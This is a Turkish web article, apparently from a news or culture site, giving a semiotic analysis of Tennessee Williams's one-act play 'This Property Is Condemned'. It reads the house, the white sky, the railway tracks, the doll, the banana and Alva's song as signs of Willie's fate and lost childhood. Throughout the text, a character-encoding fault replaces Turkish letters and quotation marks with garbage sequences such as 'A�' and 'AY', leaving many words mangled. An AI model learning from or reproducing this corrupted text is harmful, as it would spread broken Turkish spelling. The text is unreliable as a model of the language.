18 Haziran 2018, Pazartesi
SON HABERLER
Buradasınız: Anasayfa / Makale / Tennesse Williamsa��A�n “A�A�kme Tehlikesi Var” AdlA� Oyununun GA�stergebilimsel A�ncelemesi

Tennesse Williamsa��A�n “A�A�kme Tehlikesi Var” AdlA� Oyununun GA�stergebilimsel A�ncelemesi

En yaygA�n anlamA�yla gA�stergebilim (semiotics, semiology), gA�stergeleri inceleyen bir bilim dalA� olarak tanA�mlanmaktadA�r. 20. yA?zyA�lla birlikte giderek artan bir A�neme sahip olan bu bilim dalA�, a�?dilbilimsel metotlarA� nesnelere uygulayan, her AYeyi (oyunlar, jestler, yA?z ifadeleri, dini ayinler, edebiyat eserleri, mA?zik parA�alarA�a��) dille tasvir etmeye ve dilsel olmayan bA?tA?n olgularA� da dil metaforuna dA�nA?AYtA?rerek aA�A�klamaya A�alA�AYana�?

[1] bir alan olarak A�n plana A�A�kmaya baAYlamA�AYtA�r. Birbirinden farklA� alanlara uygulanabilirliAYi nedeniyle, A�ok geniAY bir araAYtA�rma alanA�nA� kapsamaktadA�r. Temel olarak ele aldA�AYA� a�?gA�stergea��leri, a�?genel olarak bir baAYka AYeyin yerini alabilecek nitelikte olduAYundan, kendi dA�AYA�nda bir AYey gA�steren her tA?rlA? nesne, varlA�k ya da olgua�?[2] olarak tanA�mlamak mA?mkA?ndA?r. Ferdinand de Sausure, Charles Morris, ve Charles Piercea��in yanA� sA�ra Umberto Eco ve Roland Barthes da gA�stergebilimin temsilcileri arasA�nda sayA�lmaktadA�r.

YukarA�da belirtildiAYi A?zere, iletiAYimin farklA� alanlarA�na uygulanabilen bu yaklaAYA�m tiyatro sanatA� iA�in de uzun zamandA�r uygulana gelmiAYtir:

Erika Fischer-Lichte, tiyatro gA�stergebiliminin A�ok uzun bir geA�miAYe sahip olduAYunu ifade eder ve ilk izlerine Diderota��dan Lessinga��in A�alA�AYmalarA�na dek rastlanabileceAYini A�ne sA?rer. Ancak gA?nA?mA?z tiyatro gA�stergebilimi daha A�ok bu konuyu bilimsel bir disiplin olarak geliAYtiren ve oturtan otuzlu yA�llardaki Prag Dilbilim Okulua��nun temsilcilerinin A�alA�AYmalarA�na dayanmaktadA�r[3].

Tiyatro gA�stergebilimi, tiyatro oyunlarA�nA� iA�erdikleri gA�stergeler A?zerinden deAYerlendirmeyi amaA�lar. Ancak metot konusunda her araAYtA�rmacA� farklA� yaklaAYA�mlarla hareket noktalarA�nA� baAYlangA�A� kabul edebilmiAYtir. Tiyatro sanatA�nda gA�stergebilim denildiAYinde akla gelen isimler Otokar Zich, Tadeusz Kowzan, Roland Barthes ve Martin Esslina��dir. Her araAYtA�rmacA� farklA� gereksinimlerle gA�stergebilimin tiyatroya uygulanA�AYA� konusunda farklA� sA�nA�flandA�rmalara gitmiAYlerse de genel olarak Tadeusz Kowzana��A�n sA�nA�flamasA� gA�stergebilimsel araAYtA�rmalarda bir temel olarak kabul edilir:

a�?Tadeusz Kowzan, LittA�rature et Spectacle adlA� etkili kitabA�nda, bA?tA?n A�teki gA�rsel dramatik medyalarda da geA�erli olan, sahneye iliAYkin on A?A� gA�sterge sistemi sayar: 1)sA�zcA?kler, 2)metin A�alA�AYmasA�, 3)yA?z ifadesi, 4)jest, 5)dramatik mekanda oyuncularA�n hareketi, 6)makyaj, 7)saA� tuvaleti, 8)giysi, 9)aksesuar, 10)dekor, 11)A�AYA�k, 12)mA?zik, 13)ses efektleria�?[4].

Bununla birlikte tiyatro sanatA�na yA�nelik diAYer benzer A�alA�AYmalarA�n da iki temel alanA� belirlemesi gerekliliAYi hatA�rlanmalA�dA�r ki bunlar, metin ve sahneleme alanlarA�dA�r. Bu nedenle tiyatro gA�stergebilimi,A�a�?edebi metinle onun sahneleniAYi arasA�ndaki iliAYkiyle hesaplaAYmA�AY, teatral iletiAYim ve alA�lmama koAYullarA�nA� araAYtA�rmA�AY ve bir sahneleme analizi iA�in modeller geliAYtirmeye A�alA�AYmA�AYtA�ra�?[5].

A�A�kme Tehlikesi Var AdlA� Oyunun GA�stergebilimsel A�ncelemesi:

Metinsel baAYlamda,A�A�A�kme Tehlikesi VarA�adlA� oyunu gA�stergebilimsel yA�ntemle incelemeye baAYladA�AYA�mA�zda karAYA�mA�za A�A�kan ilk gA�stergenin oyunun adA� (baAYlA�AYA�) olduAYunu gA�rA?rA?z. A�lk anlamA�yla ele aldA�AYA�mA�zda bir uyarA� cA?mlesidir bu. Oysa bu uyarA� cA?mlesinin gA�sterdiAYi A�A�kme tehlikesinin hangi anlamla ele alA�ndA�AYA�, neyi kastettiAYi dramatik olduAYu kadar gA�stergebilimsel aA�A�dan da bir anlam taAYA�r. Bu gA�sterge, oyunun derin anlamA�yla ilintili olacaktA�r. Bu anlama varmak iA�in oyunun gerek parantez iA�lerinde (altmetin), gerek repliklerde (asal metin) geA�en diAYer gA�stergelerin iAYaret ettiAYi anlamA� bulmak gerekir.

Yazar oyuna geniAY bir sahne betimlemesi yaparak baAYlamA�AYtA�r. MekanA� betimlerken tiyatral olanA�n A�tesinde bir takA�m sA�zcA?klere de yer vermiAYtir:A�a�?…hA?zA?n veren bA?yA?k bir sarA� ev…a�?A�Burada geA�enA�hA?zA?nA�sA�zcA?AYA?, okuyucuya, oyuncuya, yA�netmene, tasarA�mcA�ya bir AYeyler gA�stermek iA�in konulmuAYtur. GA�sterilen AYey, terk edilmiAYliAYin, A�A�kmeye yA?z tutmuAYluAYun ta kendisidir aslA�nda. Bu aA�A�dan bakA�ldA�AYA�nda, mekanda bulunan ev betimlemesi, kendi iA�inde bir anlam birimciAYi oluAYturur. Oyun A?zerinde aAYama aAYama ilerlediAYimizde, bu birimin diAYer birimlerle birlikte oyunun derin anlamA�nA� oluAYturan dA?AYA?nceye vardA�AYA� fark edilebilir. Ev bir yapA�dA�r. A�A�kme tehlikesi iA�inde olan bir yapA�. DolayA�sA�yla ilk anlamA�nA�n A�tesinde gA�sterdiAYi AYey, bir binanA�n A�tesinde bir yapA�dA�r. Bu yapA�nA�n niteliklerini ise asal metinde yer alan repliklerle ortaya A�A�karmak mA?mkA?ndA?r.

Altmetin olarak belirleyebileceAYimiz sahne betimlemelerinde, yazar gA�kyA?zA?nA?nA�beyazlA�AYA�na iki kere deAYinmiAYtir. Nitekim repliklerde oyun kiAYilerinin aAYzA�ndan duyarA�z buA�beyazlA�AYA�. BA�ylelikle, hem gA�rsel hem de iAYitsel yoldan sunulan bir gA�sterge haline gelirA�beyazlA�k.A�Bir renk olarak beyaz, saflA�AYA�n, masumiyetin gA�stergesi olarak kabul edilir. Ancak sA�z konusu renk gA�kyA?zA?nA? kaplamA�AYsa, bu anlamA�n A�tesine vararak fA�rtA�nanA�n yakA�n olduAYunu iAYaret eden bir anlam kazanA�r. Bunun yanA� sA�ra asal oyun kiAYisi Willie iA�in baAYka bir anlamA� da vardA�r:A�a�?…temiz bir sayfa kaAYA�t…a�?A�Bu A�rtA?lA? cA?mlenin anlamA� yeni bir baAYlangA�cA� simgeler ve bu A�ok aA�A�ktA�r. Williea��nin bu yeni baAYlangA�ca nasA�l baAYlayacaAYA� veya boAY sayfayA� nasA�l dolduracaAYA� ise ilerleyen kA�sA�mlarda bir anlam birimi ile aA�A�klA�k kazanacaktA�r. O haldeA�beyazA�gA�stergenin gA�sterdiAYi AYey, fA�rtA�nanA�n yakA�n olduAYu ve yeni baAYlangA�A� yapmasA� gereken birinin varlA�AYA�dA�r.

MekanA�n ardA�ndan oyun kiAYilerinin betimleniAYi baAYlar. AslA�nda bu bA�lA?m, asal metin A?zerinde geniAY bir biA�imde yayA�lmA�AY olan bir takA�m anlam birimciklerin A�oAYunu iA�ermektedir.

Willie dengesini kaybetmeme A�abasA�yla raylarA�n A?zerinde ilerlemektedir. Oyunun bA?tA?nA?ne bakA�ldA�AYA�ndaA�rayA�Willie ile gA�sterilmek istenilenin A�izilmiAY yolu, kaderidir.A�Ray, yazgA�dA�r. BelirlenmiAYtir ve deAYiAYtirilemez. Kendine biA�ilmiAY bir yazgA�yla yaAYayan Willie, dengesini korumaya A�abalamaktadA�r. Dengesini saAYlamak iA�in kollarA�nA� aA�mA�AYtA�r. Ellerinde tuttuAYu materyaller ise nelerin dengelenmeye A�alA�AYA�ldA�AYA� sorusunu yanA�tlayan gA�stergelerdir:A�muz ve bebek…A�Muz, oyunun geA�tiAYi bA�lge iA�in temel A?rA?nlerden biridir. En kolay ulaAYA�labilen yiyecektir. Bu baAYlamda ele alA�ndA�AYA�ndaA�muz, yaAYamA� idame ettirmenin gA�stergesidir. Willie, yaAYamA�nA� (ray) A�izildiAYi AYekliyle sA?rdA?rmek zorundadA�r. Oysa hala A�ocuktur.A�Ray/ yazgA� ise ona kadA�n olduAYunu sA�yler. BA?yA?mA?AY olmasA� gerektiAYini… Dengesini saAYlamak iA�in muzun karAYA�sA�nda yer alanA�bebek, onun A�ocukluAYudur. O halde elinde, tutkalla yapA�AYtA�rdA�AYA�, yani zedelenmiAY, A�rselenmiAY, buna karAYA�n, yaranA�n aA�A�lmasA�ndan duyulan kaygA�yla temizlenilemeyen, ilgilenilmeyen saflA�AYA�, masumiyeti, A�ocukluAYu bulunmaktadA�r.A�BebekA�ile gA�sterilen bu anlamlar belki de Williea��nin gerA�ekten sahip olduAYu tek AYeydir. Oysa kostA?m betimlemelerinde tamamen yazgA�ya ait olan kA�yafetleri, kadA�nlA�AYA�, -gerA�ekte ona ait olmayanA�- giyindiAYi anlaAYA�lmaktadA�r. Nitekim asal metinde bunu doAYrular. AblasA� Alvaa��ya yani AYimdi A�lA? olana aittir tA?m bunlar.

a�?bu sA�rtA�mdakiler onun elbiseleri… ondan miras kaldA�. Alvaa��nA�n nesi varsa benim…a�?

Buradan hareketle, Williea��nin ray ile gA�sterilen A�nceden A�izilmiAY rolA?, ablasA�nA�n yarA�m bA�raktA�AYA� yolun devamA� olmak zorunda kalmA�AYtA�r. Bunun iA�in kendi A�ocukluAYu yarA�m bA�rakA�lmA�AYtA�r.

On A?A� yaAYA�n A�ocuksuluAYu, acemice sA?rA?len rujla, kostA?mle kadA�nlaAYtA�rA�lmA�AYtA�r. Ancak yazara�?A�ocuk ve masum kalmA�AY tarafa�?A�n tamamen A�rtA?lmemesi gerekliliAYini vurgulamA�AYtA�r. Zira bA�ylelikle dengesini koruma A�abasA� anlam kazanacaktA�r.Willie hakkA�nda yazar son olarakA�dertliA�sA�zcA?AYA?nA? kullanA�r. Bu oyun kiAYisiyle gA�sterilmek istenilenin derdidir. Bu, bireyin olduAYu hali ile olmasA� gereken hali arasA�ndaki A�atA�AYmanA�n doAYurduAYu derttir. Buna karAYA�n Tom A�izilirken tasasA�z, dertsiz bir genA� portresi hedeflenmiAYtir. O olduAYu gibidir.

Yazar yaptA�AYA� geniAY betimlemenin ardA�ndan asal metne geA�er. Ancak gerekli gA�rdA?AYA? yerlerde, parantez iA�i gA�stergelerle altmetin kurgusunu sA?rdA?rA?r. Asal metne geA�tiAYimizde, rayA�n A?zerinde, dengesini korumaya A�alA�AYan Williea��nin Toma��dan elindeki bebeAYi almasA�nA� istediAYini okuruz. Bebek ile neyin gA�sterildiAYi belirtilmiAYti, buradan yola A�A�ktA�AYA�mA�zda:

a�?…DA?AYersem eAYer, bari o kA�rA�lmasA�n… Daha fazla dayanamayacaAYA�m ne dersin?a�?

repliAYi, raylarda denge oyunu oynayan bir A�ocuAYun sA�zleri olmaktan A�A�kar. YaAYamda denge korumaya A�alA�AYA�ldA�AYA�nda zaman zaman dA?AYme tehlikesi, dayanamama duygusu, A?mitsizlik ve A�aresizlik yaAYanA�r. DA?AYerse eAYer, yaAYamA� idame ettirme zorunluluAYunun gA�stergesi olan muzu deAYil de masumiyetini, yaAYayamadA�AYA� A�ocukluAYunu, kendini korumaya almayA� seA�er.

Buna karAYA�n A�abasA�na dA�AYarA�dan yardA�m almayA� kabul etmez. ZiraA�a�?mA�zA�kA�A�lA�k olura�?veA�a�?iAY tek baAYA�na baAYarabilmektira�?A�. Tek baAYA�na baAYarmak zorunda olduAYu AYey, gA�stergeler dikkate alA�ndA�AYA�nda salt raylarda yA?rA?me oyunu deAYildir. YaAYamda tek baAYA�nadA�r. YazgA�yA� bu AYekilde tamamlamak zorunda bA�rakA�ldA�AYA�nA�n farkA�ndadA�r. DA?AYse bile yeniden baAYlamalA�, gideceAYi en uzak noktaya gidebilmelidir. Yani yazgA�yA� sA?rdA?rebilmelidir. DA?AYme anlarA�nda ve genel tavrA�nda yaAYamsal gerA�ekliAYi ile rolA? arasA�nda gidip gelir. Sanki oyun oynayan o deAYilmiAYA�esine, bir kadA�n gibi ipekli A�orap giymemiAY olmasA�na sevinirken, tA?kA?rA?AYA?n iyileAYtirici gA?cA?nA? bilecek kadar da yaAYamA�n iA�inde olduAYunu gA�sterir. Sonra bileziAYine yA�nelerek yine rolA?ne geA�er.

Bundan sonraki anlam birimi Williea��nin kendi hakkA�ndaki dA?AYA?ncelerini kapsar.A�a�?belki acayip bir insana�?dA�r. Elinde pA�rlanta bilezik olduAYunda oyun oynayabilecek kadar. Durumun acayipliAYinin farkA�ndadA�r. BA�rakA�lmak zorunda olduAYu yazgA�ya bir iki beden kA?A�A?k geldiAYinin de. Bu yazgA�ya daha doAYumundan sahiptir aslA�nda.A�a�?OAYlan doAYmasA� beklenirkena�?A�o doAYmuAYtur. AdA� bile erkek adA�dA�r. Bunu kabullenmekten baAYka bir seA�eneAYin varlA�AYA�ndan bile haberdar deAYildir.

Az A�nce yukarA�da bahsedilen beyaz gA�sterge oyunun bu kA�smA�nda yeniden karAYA�mA�za A�A�kar. BeyazlA�AYA�n gA�sterdiAYi anlam saptamA�AYtA�. Yazar buradanA�rA?zgarA�gA�stergesine geA�er. HatA�rlayacak olursak, gA�kyA?zA?nA?n beyazlA�AYA�nA� fA�rtA�na habercisi olarak nitelendirmiAYtik. Oysa henA?z rA?zgar bile yoktur ortada. A�AYte tam da bu noktada, rA?zgarla A�rtA?len anlam girer devreye:

a�?A�yle yA?kseklerde ki rA?zgar, biz duymuyoruz. Ta, ta tepede… TavanarasA�ndaki eAYyalarA�n tozunu savuruyor.a�?

Bu replikleA�rA?zgarA�yaAYamA� gA�steren bir gA�sterge olarak kullanA�lmA�AYtA�r. Tavan aralarA�, eski, kullanA�lmayan eAYyalarA�n konulduAYu yerlerdir. Bu eAYyalar tozlanA�rlar, eskimeye baAYlarlar a��yaAYamsallA�klarA�nA� yitirirler- unutulurlar. Tavan aralarA�, bir zamanlar yaAYama dair olan AYeylerin unutulma mekanlarA�dA�r. A?zerindeki tozun savrulmasA� onlarA�n bir an iA�in canlanmasA�nA�, hatA�rlanmasA�nA� saAYlar, hele damA�n bir kA�smA� A�A�kA?kse bu hatA�rlanA�AYlar daha sA�k olacaktA�r. Buradan hareketle yaAYamA�n acA� verdiAYi gerA�eAYine ulaAYA�rA�z. AcA� verir A�A?nkA? eskinin hatA�rlanA�AYA�, AYimdinin gerA�eAYini tehdit eder ve dengeyi bozabilir. GerA�eklikte eskinin A?midine yer yoktur, A�A�kA?AY baAYlamA�AYtA�r ve bunu gA�rmemek alA�nabilecek en bA?yA?k risktir.

Bu birimin ardA�ndan gelen replikler, kA�yafetleri gibi ablasA�na ait sA�zcA?kleri iA�ermektedir belli ki. A�AYretmeninden bahsederken on A?A� yaAYA�n izlerinden A�ok bir kadA�nA�n yaklaAYA�mA�nA� gA�rA?rA?z:

a�?…koca bulup evlenemedi diye hayata kA?stA?.a�?

a�?…kA�z kA�smA�na asA�l lazA�m olan cemiyet bilgisi!a�?

Willie, takip eden repliklerde kendine biA�ilen rolA?n ilk sahibi olan Alvaa��yA� anlatA�r. Bunu bir gA�rev bilinciyle ezberlemiAYtir sanki. Bu yolda yA?rA?mek, ablasA� gibi olmak zorundadA�r. DolayA�sA�yla ne kadar iyi bilirse ablasA�nA�n yaptA�klarA�nA�, o kadar kolay olacaktA�r kendisi iA�in rolA?ne sadA�k kalmak. TA?m bu replikler dramatik aksiyonun ilerleyiAYini saAYlarken, diAYer yandan da bahsettiAYimiz ray gA�stergesinin amacA�na hizmet eden bir nitelik gA�sterir.

Daha sonra ev gA�stergesine dair bir anlam birimciAYi asal metindeki yerini alA�r. HatA�rlanacak olursa bu gA�stergenin bir yapA�yA� iAYaret ettiAYini belirtmiAYtim. Azimdi bu yapA�nA�n nitelikleri belirmektedir bu birimde. Bu yapA�da ne deneyimler, ne gA?nler yaAYanmA�AYtA�r.A�a�?evde boyuna A�algA�lara�?A�n A�alA�ndA�AYA� sA�ylenir. A�algA�, yaAYamsallA�ktA�r, iAYlerliktir. YaAYamA�n akA�AYA�nA�n bir gA�stergesidir. Buradan hareketle, ev ile gA�sterilen yapA�nA�n bir zamanlar tA�kA�r tA�kA�r iAYleyen, yaAYamsallA�AYA� olan, iAYe yarayan bir yapA� olduAYu sonucuna varA�rA�z:

a�?Ama AYimdi ev A�yle sessiz ki… Bak o taraftan hiA� ses duyulmuyor deAYil mi?a�?

Bu noktada hem alt metinde hem de asal metinde oyunun adA�nA� oluAYturan, (aynA� zamanda oyunun ana gA�stergesi olarak belirlemenin yanlA�AY olmayacaAYA�) gA�sterge kendini gA�sterir:

a�?(YA?ksek sesle… ama sesinde hafif bir titreme vardA�r) BU EVE GA�RMEK YASAKTIR, A�A�KME TEHLA�KESA� VAR!a�?

Bu gA�sterge ile yapA�nA�n A�A�kmek A?zere olduAYu gerA�eAYi iAYaret edilirken, Williea��nin hala orada yaAYamasA�yla da bu yapA�nA�n kurbanA� iAYaret edilir. Oyunun derin anlamA�na ulaAYtA�AYA�mA�zda bu gA�stergelerin bA?tA?nA?nde A�A�kacak olan sonuca varmak mA?mkA?ndA?r. Bunlardan hareketle, yazarA�n sA�z konusu gA�stergelerle ortaya koyduAYu anlama varA�lacaktA�r.

Willie, ailesi hakkA�nda konuAYurken, bahsi geA�en yapA�ya iAYlerlik kazandA�ran diAYer A�AYeler hakkA�nda ve bu yapA�yA� A�A�kme tehlikesine sokan nedensellikleri gA�rA?rA?z; Annesi bir makasA�A�ya kaA�mA�AYtA�r. MakasA�A� raya yA�n veren kiAYidir. YazgA�yA� deAYiAYtirme yetisi olan bir kiAYi gA�sterilir.A�a�?Ondan sonra her AYey A�A�zA?lA?verdia�?A�BA�ylelikle A�A�kA?AY baAYlamA�AYtA�r. YazgA�ya yA�n verme inisiyatifi olan birilerinin, yapA�da A�nemli konumu olan bir A�AYeyi A�ekmesiyle baAYlamA�AYtA�r A�A�kA?AY. DiAYer A�nemli A�AYe ise kendini iA�kiye veren babasA�dA�r ki sonra ortadan kaybolmuAYtur. Bir Willie kalmA�AYtA�r bir de Alva.

Burada yeniden Alvaa��ya dair bir anlam birimciAYin devreye girdiAYini gA�rA?rA?z. Bu aynA� zamanda Williea��nin rolA?nA? (onun yolunu ve yarA�m kalmA�AYlA�AYA�nA�) betimleyen bir birimdir. Bu birim Alvaa��nA�n (ve muhtemelen Williea��nin) yazgA�sA�yla filmlerdeki gerA�eklik arasA�nda kurulmaya A�alA�AYA�lan iliAYkiyi kullanA�r. SA�zA? edilen filmde trajik sonun mA?zikle vb. yaklaAYA�mlarla yumuAYatA�lmA�AY olmasA�na karAYA�n yazgA�da bA�ylesi bir yumuAYaklA�k sA�z konusu deAYildir. Hem tA?m aAYA�klarA� kaA�mA�AYtA�r Alvaa��nA�n hem de kemanlar A�alA�nmA�yordur. (Burada, yaAYamsallA�k olarak verilen A�algA� gA�stergesi yeniden kullanA�lmA�AYtA�r.)

a�?…Yok… hiA� de filmlerdeki A�lA?mler gibi olmadA�!a�?

Buradan hareket edildiAYinde, filmle anlatA�lmak istenilen, gerA�eAYin yumuAYatA�lmasA�ndan baAYka bir AYey deAYildir.

Bunu takip eden anlam birimciAYi, yine yukarA�da bahsedilen iliAYki ile kurgulanmA�AYtA�r. Alvaa��nA�n aAYklarA�,A�a�?batan gemiyi terk eden fareler gibia�?ortadan kaybolmuAYlardA�r. Willie ise bunu Alvaa��nA�n acA� A�ekmemesi iA�in yalanlamA�AYtA�r. Ona selamA� sA�yledikleri ya da tayin edilmiAY olduklarA� gibi yalanlar sA�yler. Ancak ekler:A�a�?…yalan sA�ylediAYimi biliyordu!a�?Burada gA�sterilen anlam yolun yaAYamda, filmlerde gA�rA?ldA?AYA? kadar renkli olmadA�AYA�nA�n her ikisi tarafA�ndan fark edildiAYidir. Ancak Willie kendisini de bekleyen sonun buna benzer olacaAYA�nA� bildiAYinden, bu oyunu sA?rdA?rA?r. AblasA�nA�n yaAYadA�AYA� acA�yA� anlayabilecek, hatta acA�sA�nA� azaltmak iA�in yalan sA�yleyebilecek kadar da farkA�ndadA�r yaAYamsal gerA�ekliAYin:A�a�?gramofon bile A�alamadA�k, hastanenin kurallarA�na aykA�rA�ymA�AY…a�?A�Alvaa��nA�n en sevdiAYi AYarkA� bu sA�rada ortaya A�A�kar:

a�?Tek yA�ldA�zsA�n sen mavi gA�AYA?mde…

bir gA�z kA�rpsana, bana!a�?

Alvaa��nA�n bu AYarkA�yA� A�ok sevdiAYini, gA?zel bir AYekilde sA�ylediAYini A�AYreniriz repliklerden. Oyunda Williea��nin aAYzA�ndan (tiz ve temiz sesinden) birkaA� kez duyarA�z bu AYarkA�yA�. Alva bu AYarkA�yA� evde sA�ylermiAY. Yani yapA� iAYlerlik gA�sterirken yaAYamsallA�k olan bu AYarkA� da sA�ylenirmiAY.AzA?phesiz ki bu Alvaa��nA�n en sevdiAYi AYarkA�ysa (ki A�yle olduAYu belirtilmiAY) ona yA?klenmiAY bir anlam taAYA�malA�dA�r. Alva iA�in bu AYarkA�nA�n taAYA�dA�AYA� anlam A�ok aA�A�k olmamakla birlikte, her AYeyi ablasA�ndan miras kalmA�AY olan Willie iA�in bu AYarkA�nA�n anlamA� ablasA�yla ilintilidir. Annesi bir makasA�A�yla kaA�mA�AYtA�r, babasA� kendini alkole verdikten sonra kaybolmuAYtur. Bir A�ocuk olarak duyduAYu ilgi ve sevgi ihtiyacA�nA� sadece Alvaa��nA�n karAYA�ladA�AYA�nA� gA�rmek mA?mkA?ndA?r. Bu halde, Williea��nin mavi gA�AYA?nde (iAYler yolunda giderken, gA�kyA?zA? beyazlaAYmamA�AYken) parlayan yA�ldA�z ablasA� Alvaa��dan baAYka kimse deAYildir. Azimdiise artA�k Alva da yoktur. GA�z kA�rpmasA� ise onunla olan anA�larA�nA� hatA�rlamaktan baAYka bir AYey deAYildir.

Alvaa��nA�n dostlarA� da Williea��ye kalmA�AYtA�r.A�a�?bir it sA?rA?sA? gibi geri gela�?miAYlerdir. Geceleri gezdiriyorlardA�r onu, toplantA�lara, danslara, eAYlencelere gA�tA?rA?yorlardA�r. Bir kadA�na davrandA�klarA� gibi davranmaktadA�rlar Williea��ye. DolayA�sA�yla bir kadA�n olmak zorundadA�r Willie:A�a�?BeAYenilmezsem vay halime…a�?Bunu takip eden repliklerde Toma��un aAYzA�ndan (bir dA�AY gA�zden) bakarA�z Williea��nin kadA�nlaAYmasA�na, yaAYamda oynamak zorunda olduAYu rolA?n kurallarA�na:

a�?Eve almA�AYsA�n da onu, elbiselerini A�A�karA�p oynamA�AYsA�n karAYA�sA�nda…a�?

A�AYte tam bu repliklerden sonra Williea��nin yine gerA�eAYiyle rolA? arasA�ndaki gidip gelmelerinden biri yaAYanA�r. Bu gidip gelme yine bebek gA�stergesi ile saAYlanmA�AYtA�r.

a�?Aaaa… Deli bebeAYimin saA�larA� yA�kanmak istiyor.. Korkuyorum ama yA�kamaya bir de bakarsA�n AYu kafasA�nA�n A�atlaAYA�nA� yapA�AYtA�rdA�AYA�m tutkal eriyivermiAY.. Neler sA�ylemiyor, bilsen ne olmayacak AYeyler yapA�yor…a�?

Bebek gA�stergesi ile saflA�AYA�na, yaAYayamadA�AYA� kendine, A�ocukluAYuna gA�nderme yapA�ldA�AYA�nA� sA�ylemiAYtik. Bu durumda masumiyetinin yA�prandA�AYA�nA�, temizlenmeye ihtiyaA� duyduAYunu, ancak korktuAYunu A�A�karabiliriz. A�A?nkA? incinmiAYtir. Yara almA�AYtA�r. Temizlenme, yani A�ocukluAYunu yaAYamaya geri dA�nme teAYebbA?sA? yaralarA�nA�n aA�A�lmasA� riskini barA�ndA�rA�r. Bu risktir onu bundan alA� koyan. A�te yandan bebeAYin neler sA�ylemediAYi, ne olmayacak AYeyler yaptA�AYA� cA?mlesi, Williea��nin durumunun bir gA�stergesidir. Bir A�ocuktur ve elbiselerini A�A�karA�p dans ediyordur… Bu noktada Willie, bebekle bir savunma mekanizmasA� geliAYtirmiAYtir. Zaman zaman kendi yazgA�sA�nA� dA�AYarA�dan birinin yazgA�sA�ymA�AYA�asA�na izleyebilme yeteneAYi de bundan kaynaklanA�r.

Toma��un bu savunma mekanizmasA�nA� anlamayA�AYA�yla konuya geri dA�nmek ve bir aA�A�klama yapmak zorunda kalan Willie, yine kadA�nlaAYarak o zamanlar yalnA�z olduAYundan bA�yle bir AYey yaptA�AYA�nA�, artA�k yalnA�z olmadA�AYA�nA�, ablasA�nA�n tA?m dostlarA�nA�n ona miras kaldA�AYA�nA� sA�yler.

Bunun hemen ardA�ndan yine yukarA�da bahsettiAYimiz beyaz gA�sterge yerini alA�r.A�a�?Temiz bir sayfa kaAYA�t gibi bembeyaza�?HatA�rlayacak olursak bunun Willie iA�in taAYA�dA�AYA� anlamA�, imgeleme veya tahayyA?l ya da yeni bir baAYlangA�A� yapma durumu olduAYunu sA�ylemiAYtik. A�AYretmeni herkese beyaz bir sayfa kaAYA�t vererek ne isterlerse A�izebileceklerini sA�ylemiAYtir. Yeni bir baAYlangA�A� yapma gA�stergesi olarak kabul edebileceAYimiz bu durumda Willie, kafasA�na AYiAYe yerken babasA�nA�n resmini A�izmiAYtir. Oysa A�AYretmeni Charlie Chaplina��in resmini A�izdiAYini sanmA�AYtA�r. Willie ise bunu yalanlar. Bu anlam birimcikte yine filmlerle kurulan iliAYki gA?ndemdedir. CanA�nA�n istediAYi her AYeyi yapma konusunda A�zgA?rken o A�A�kmekte olan yapA�nA�n bir A�AYesi olan babasA�nA� resmeder. Hayal gA?cA?nA?n sA�nA�rlarA�nA�n bile farkA�nda deAYildir. BoAY bir sayfayA� yine sahip olduAYu umutsuzlukla ve yarA�m kalmA�AYlA�kla dolduracaktA�r. Yani yeni bir baAYlangA�A� fA�rsatA�nA� deAYerlendiremeyecektir, yazgA� A?stA?n gelmeye devam edecektir. Bu da bir A�A�zA?msA?zlA?AYA?, A�aresizliAYi gA�sterir.A�a�?benim ev hayatA�m normal deAYilmiAY…a�?

Yine Alva hakkA�nda kA�sa bir konuAYmanA�n ardA�ndan evde hala oturuyor olmasA�yla kurgulanmA�AY olan baAYka bir anlam birim gA�ze A�arpar. O A�A�kmek A?zere olan yapA�nA�n iA�indeki kurbandA�r. SeA�eneksizdir, bu seA�eneksizliAYi onu inanmayacaAYA� bir yalana iter ki bu bir savunma mekanizmasA�dA�r:

a�?Oturmamam lazA�m ama oturuyorum. Ev A�A�kebilirmiAY de tehlikeliymiAY… Bir AYeyciAYi yok halbuki…a�?

Burada A�rtA?lA? olarak verilen anlam, seA�eneksizliAYi kabullenme olgusudur. Konu yine Alvaa��ya yA�nelir. Alvaa��nA�n modadan anladA�AYA�nA� belirtir ve bA?yA?k firmalar iA�in model A�izip yolladA�AYA�nA� sA�yler. Burada yine beyaz sayfa kaAYA�t gA�stergesine bir gA�nderme vardA�r. Alva denemiAYtir. Yeni bir baAYlangA�A� yapmayA� denemiAYtir:

a�?…ama bir AYey A�A�kmadA�…a�?

DolayA�sA�yla kendisinin denemesine gerek yoktur. O bir kadA�nken denemiAY ve baAYaramamA�AYtA�r. Willie ise kadA�n olmakla A�ocuk olmak arasA�nda gidip gelirken baAYaramayacaAYA�nA�n farkA�ndadA�r. Bu tA?mcenin peAYine AYarkA�yA� ekler, Alva onun tek yA�ldA�zA�dA�r, o baAYaramamA�AYtA�r ve Willie de baAYaramayacaktA�r.

Eve mA?fettiAYler geldiAYinde sinmiAY, saklanmA�AYtA�r.A�a�?evde kimse yokmuAY gibia�?A�yapmA�AYtA�r. Evde (hala yapA�ya dahil) olduAYu anlaAYA�lmasA� durumunda baAYka seA�enekler A�A�kacaktA�r ortaya. Bunlardan biri sokakta kalmak olsa da. Bu nedenle bireyin, seA�eneklere karAYA� bir direnme, yazgA�ya sadA�k kalma zorunda hissediAY ve eskiye baAYlA� kalma durumlarA� bA�ylelikle gA�sterilmiAY olur.

Anlam birimlerinden muz ile ilgili olanA�n sA�rasA� gelmiAYtir asal metinde.

a�?Bilmem, insan gA�zA?nA? aA�arsa orada burada neler buluyor… Azu muz mesela, bal gibi muz… Mavi KuAY lokantasA�nA�n arkasA�ndaki A�A�plA?AYe atmA�AYlar…a�?

Muzun gA�sterdiAYi AYeyin yaAYamA� idame ettirme olduAYu belirtilmiAYti. Buradan hareketle, yukarA�da aktarA�lan replik farklA� bir anlama bA?rA?nA?r. Willie bu konu hakkA�nda daha A�nce dA?AYA?nmemiAYtir, bir strateji belirlememiAYtir. Bu nedenle nasA�l yemek yediAYi sorulduAYunda ilk yanA�tA�A�a�?Bilmema�?A�olur. Birey yaAYamA�nA� idame ettirmek iA�in gA�zA?nA? aA�mak, uyanA�k olmak zorundadA�r. Bu durumda A�A�plA?k bile iAYe yarar.

